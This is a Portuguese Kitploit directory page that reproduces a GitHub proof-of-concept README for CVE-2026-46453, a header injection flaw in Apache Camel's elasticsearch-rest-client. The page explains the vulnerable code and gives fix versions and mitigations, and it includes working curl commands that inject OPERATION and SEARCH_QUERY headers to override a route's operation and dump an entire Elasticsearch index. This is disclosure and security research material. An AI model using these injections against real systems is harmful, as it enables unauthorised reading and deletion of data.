Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-46453 — Reprodutor para CVE-2026-46453 — injeção de cabeçalho sem prefixo no camel-elasticsearch-rest-client do Apache Camel (substituição de operação/consulta por meio de cabeçalhos HTTP de entrada) | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-46453
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Segurança de APIsTestes de PenetraçãoAprendizado e Educação
GitHuboscerd/cve-2026-46453

CVE-2026-46453

Reprodutor para CVE-2026-46453 — injeção de cabeçalho sem prefixo no camel-elasticsearch-rest-client do Apache Camel (substituição de operação/consulta por meio de cabeçalhos HTTP de entrada)

Ver Repositório
5há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

camel-elasticsearch-rest-client Reprodutor de Injeção de Cabeçalho Não-Prefixado (CVE-2026-46453)

Este projeto demonstra uma injeção de cabeçalho de mensagem / bypass de autorização no componente camel-elasticsearch-rest-client do Apache Camel, registrado como CVE-2026-46453. O componente lê diversos cabeçalhos do Exchange para controlar seu comportamento — SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID. Nas versões afetadas, esses valores de string dos cabeçalhos são nomes simples, sem prefixo ("OPERATION", "SEARCH_QUERY", …) em vez dos nomes prefixados com que todos os outros componentes usam. O de entrada do Camel bloqueia apenas nomes que começam com /, então esses cabeçalhos . Quando uma rota expõe um ponto de entrada HTTP (ex.: platform-http) na frente de um produtor elasticsearch-rest-client, um cliente HTTP não confiável pode definir esses cabeçalhos diretamente e configuradas pelo autor da rota — lendo o índice inteiro, excluindo documentos, etc. Nenhuma credencial é necessária.

Camel
HttpHeaderFilterStrategy
Camel
camel
passam pelo filtro de entrada inalterados
sobrescrever a consulta e a operação

Aviso: https://camel.apache.org/security/CVE-2026-46453.html

Resumo da Vulnerabilidade

PropriedadeValor
Componentecamel-elasticsearch-rest-client
Constantes afetadasElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (valores não prefixados)
CWECWE-20 (Validação de Entrada Incorreta) + CWE-639 (Bypass de Autorização Através de Chave Controlada pelo Utilizador)
ImpactoCliente HTTP não confiável sobrescreve a operação/consulta ES — ler/excluir/exfiltrar documentos
Versões AfetadasDe 4.3.0 antes de 4.14.8, de 4.15.0 antes de 4.18.3, de 4.19.0 antes de 4.21.0
Versões Corrigidas4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23508
RelatorYu Bao (PayPal)

Mesma família de injeção de cabeçalho que CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 e CVE-2026-47323 — todas originadas de componentes que leem cabeçalhos de entrada que o HeaderFilterStrategy padrão não bloqueia porque os nomes não começam com o prefixo Camel.

Detalhes Técnicos

root@kitploit:~
// ElasticSearchRestClientConstant - afetado 4.18.2 (valores não prefixados)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";

// ElasticsearchRestClientProducer#resolveOperation - o cabeçalho vence sobre a operação configurada no endpoint
ElasticsearchRestClientOperation operation
        = exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);

HttpHeaderFilterStrategy bloqueia apenas Camel*/camel*, portanto, um cabeçalho HTTP de entrada OPERATION: SEARCH (e SEARCH_QUERY: {...}) passa e sobrescreve o operation=GET_BY_ID do autor da rota. A correção (4.14.8 / 4.18.3 / 4.21.0) renomeia os valores para CamelElasticsearchOperation, CamelElasticsearchSearchQuery, etc., de modo que o filtro de entrada os bloqueie (os nomes dos campos Java permanecem inalterados).

A rota vítima

root@kitploit:~
from("platform-http:/products")
    .to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
    // o autor da rota pretende uma única operação segura: buscar um documento por id

Uma requisição HTTP de um atacante com OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} sobrescreve isso e despeja o índice inteiro.

Estrutura do repositório

root@kitploit:~
CVE-2026-46453/
├── pom.xml                 # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml      # Elasticsearch 8.15.3 (segurança desativada)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── EsSeeder.java           # insere um documento "público" e um "secreto"
    │   ├── VictimRoute.java        # platform-http -> elasticsearch-rest-client (GET_BY_ID)
    │   └── ExploitController.java  # atacante: GET_BY_ID legítimo vs OPERATION=SEARCH injetado
    └── resources/
        └── application.properties

Pré-requisitos

  • Java 17+ e Maven 3.8+
  • Docker (executa o Elasticsearch)

Etapas de Reprodução

Etapa 1: Iniciar o Elasticsearch

root@kitploit:~
docker compose up -d
# aguarde até ficar pronto:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/     # -> 200

Etapa 2: Compilar e executar o aplicativo (no host, conversando com o contêiner ES)

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# o aplicativo insere o índice 'products' com um documento público e um secreto na inicialização

Etapa 3: Acionar a injeção de cabeçalho

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# === 1) Requisição legítima (ID=public-1) ===
#   {"name":"Public Widget","visibility":"public"}      segredo vazado: falso
# === 2) Requisição de ataque (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
#   [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ]   segredo vazado: verdadeiro
#
# >>> Prova de injeção de cabeçalho — atacante sobrescreveu a operação e leu todo o índice: verdadeiro

Você também pode fazer manualmente — os cabeçalhos injetados passam diretamente pelo filtro de entrada do platform-http:

root@kitploit:~
# legítimo: GET_BY_ID do autor da rota retorna apenas o documento público
curl -s -H "ID: public-1" http://localhost:8080/products
# ataque: sobrescrever a operação e despejar o índice inteiro (incluindo o secreto)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products

Limpeza

root@kitploit:~
docker compose down

Vetores de Ataque

Qualquer rota que exponha um ponto de entrada HTTP na frente de um produtor elasticsearch-rest-client. O atacante define OPERATION, SEARCH_QUERY, INDEX_NAME, INDEX_SETTINGS ou ID na requisição HTTP de entrada; eles contornam o filtro de entrada de prefixo Camel e alcançam o produtor.

Condições de Exploração

  1. Um consumidor HTTP (ex.: platform-http) roteando para um produtor elasticsearch-rest-client em uma versão afetada.
  2. O HttpHeaderFilterStrategy padrão (bloqueia apenas Camel*), que não cobre os cabeçalhos ES não prefixados.

Correção Recomendada

Atualize para 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508), que prefixa os valores dos cabeçalhos com Camel para que o filtro de entrada os bloqueie.

Mitigação

Até a atualização, remova os cabeçalhos afetados de mensagens de entrada não confiáveis antes do produtor:

root@kitploit:~
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")

ou aplique um HeaderFilterStrategy personalizado que bloqueie esses nomes.

Aviso

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.

Baixar ferramenta